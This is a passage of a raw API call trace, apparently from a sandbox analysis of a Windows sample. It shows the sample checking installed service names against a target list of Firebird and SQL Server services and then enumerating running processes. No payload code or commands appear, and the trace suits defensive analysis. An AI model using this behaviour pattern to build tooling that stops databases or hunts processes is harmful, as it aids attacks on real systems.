lpString2="iphlpsvc") returned 1 [0306.176] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0306.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0306.176] lstrlenW (lpString="KeyIso") returned 6 [0306.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0306.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0306.176] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0306.176] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0306.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0306.176] lstrlenW (lpString="LanmanServer") returned 12 [0306.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0306.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0306.176] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0306.176] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0306.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0306.177] lstrlenW (lpString="LanmanWorkstation") returned 17 [0306.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0306.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0306.177] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0306.177] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0306.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0306.177] lstrlenW (lpString="lfsvc") returned 5 [0306.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0306.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0306.177] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0306.177] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0306.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0306.177] lstrlenW (lpString="lmhosts") returned 7 [0306.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0306.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0306.177] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0306.177] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0306.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0306.177] lstrlenW (lpString="LSM") returned 3 [0306.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0306.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0306.177] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0306.177] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0306.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0306.177] lstrlenW (lpString="MapsBroker") returned 10 [0306.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0306.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0306.177] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0306.177] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0306.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0306.177] lstrlenW (lpString="MpsSvc") returned 6 [0306.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0306.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0306.178] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0306.178] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0306.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0306.178] lstrlenW (lpString="NcbService") returned 10 [0306.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0306.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0306.178] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0306.178] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0306.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0306.178] lstrlenW (lpString="netprofm") returned 8 [0306.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0306.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0306.178] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0306.178] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0306.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0306.178] lstrlenW (lpString="NgcSvc") returned 6 [0306.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0306.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0306.178] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0306.178] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0306.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0306.178] lstrlenW (lpString="NlaSvc") returned 6 [0306.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0306.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0306.178] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0306.178] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0306.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0306.178] lstrlenW (lpString="nsi") returned 3 [0306.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0306.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0306.178] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0306.178] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0306.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0306.179] lstrlenW (lpString="PcaSvc") returned 6 [0306.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0306.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0306.179] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0306.179] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0306.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0306.179] lstrlenW (lpString="PlugPlay") returned 8 [0306.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0306.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0306.179] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0306.179] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0306.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0306.179] lstrlenW (lpString="Power") returned 5 [0306.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0306.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0306.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0306.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0306.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0306.179] lstrlenW (lpString="ProfSvc") returned 7 [0306.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0306.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0306.179] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0306.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0306.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0306.179] lstrlenW (lpString="RpcEptMapper") returned 12 [0306.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0306.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0306.179] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0306.179] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0306.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0306.179] lstrlenW (lpString="RpcSs") returned 5 [0306.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0306.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0306.180] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0306.180] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0306.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0306.180] lstrlenW (lpString="SamSs") returned 5 [0306.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0306.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0306.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0306.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0306.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0306.180] lstrlenW (lpString="Schedule") returned 8 [0306.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0306.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0306.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0306.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0306.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0306.180] lstrlenW (lpString="SecurityHealthService") returned 21 [0306.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0306.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0306.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0306.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0306.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0306.180] lstrlenW (lpString="SENS") returned 4 [0306.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0306.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0306.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0306.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0306.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0306.181] lstrlenW (lpString="ShellHWDetection") returned 16 [0306.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0306.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0306.181] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0306.181] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0306.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0306.181] lstrlenW (lpString="Spooler") returned 7 [0306.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0306.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0306.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0306.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0306.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0306.181] lstrlenW (lpString="SSDPSRV") returned 7 [0306.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0306.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0306.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0306.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0306.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0306.181] lstrlenW (lpString="StateRepository") returned 15 [0306.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0306.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0306.181] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0306.181] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0306.181] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0306.181] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0306.184] Process32FirstW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.185] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0306.185] lstrlenW (lpString="System") returned 6 [0306.185] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0306.186] lstrlenW (lpString="smss.exe") returned 8 [0306.186] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0306.187] lstrlenW (lpString="csrss.exe") returned 9 [0306.187] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0306.187] lstrlenW (lpString="wininit.exe") returned 11 [0306.187] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0306.188] lstrlenW (lpString="csrss.exe") returned 9 [0306.188] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0306.189] lstrlenW (lpString="winlogon.exe") returned 12 [0306.189] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0306.189] lstrlenW (lpString="services.exe") returned 12 [0306.190] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0306.190] lstrlenW (lpString="lsass.exe") returned 9 [0306.190] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0306.191] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0306.191] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0306.192] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0306.192] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.192] lstrlenW (lpString="svchost.exe") returned 11 [0306.192] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.193] lstrlenW (lpString="svchost.exe") returned 11 [0306.193] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0306.194] lstrlenW (lpString="dwm.exe") returned 7 [0306.194] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.194] lstrlenW (lpString="svchost.exe") returned 11 [0306.194] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.195] lstrlenW (lpString="svchost.exe") returned 11 [0306.195] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.196] lstrlenW (lpString="svchost.exe") returned 11 [0306.196] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.197] lstrlenW (lpString="svchost.exe") returned 11 [0306.197] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.197] lstrlenW (lpString="svchost.exe") returned 11 [0306.197] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.198] lstrlenW (lpString="svchost.exe") returned 11 [0306.198] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.199] lstrlenW (lpString="svchost.exe") returned 11 [0306.199] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.199] lstrlenW (lpString="svchost.exe") returned 11 [0306.199] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.200] lstrlenW (lpString="svchost.exe") returned 11 [0306.200] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.201] lstrlenW (lpString="svchost.exe") returned 11 [0306.201] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0306.201] lstrlenW (lpString="spoolsv.exe") returned 11 [0306.201] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0306.202] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0306.202] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0306.203] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0306.203] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0306.203] lstrlenW (lpString="Memory Compression") returned 18 [0306.203] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.204] lstrlenW (lpString="svchost.exe") returned 11 [0306.204] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0306.205] lstrlenW (lpString="audiodg.exe") returned 11 [0306.205] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0306.205] lstrlenW (lpString="sihost.exe") returned 10 [0306.205] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.206] lstrlenW (lpString="svchost.exe") returned 11 [0306.206] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0306.207] lstrlenW (lpString="taskhostw.exe") returned 13 [0306.207] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0306.207] lstrlenW (lpString="explorer.exe") returned 12 [0306.208] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0306.208] lstrlenW (lpString="SearchUI.exe") returned 12 [0306.208] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0306.209] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0306.209] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, 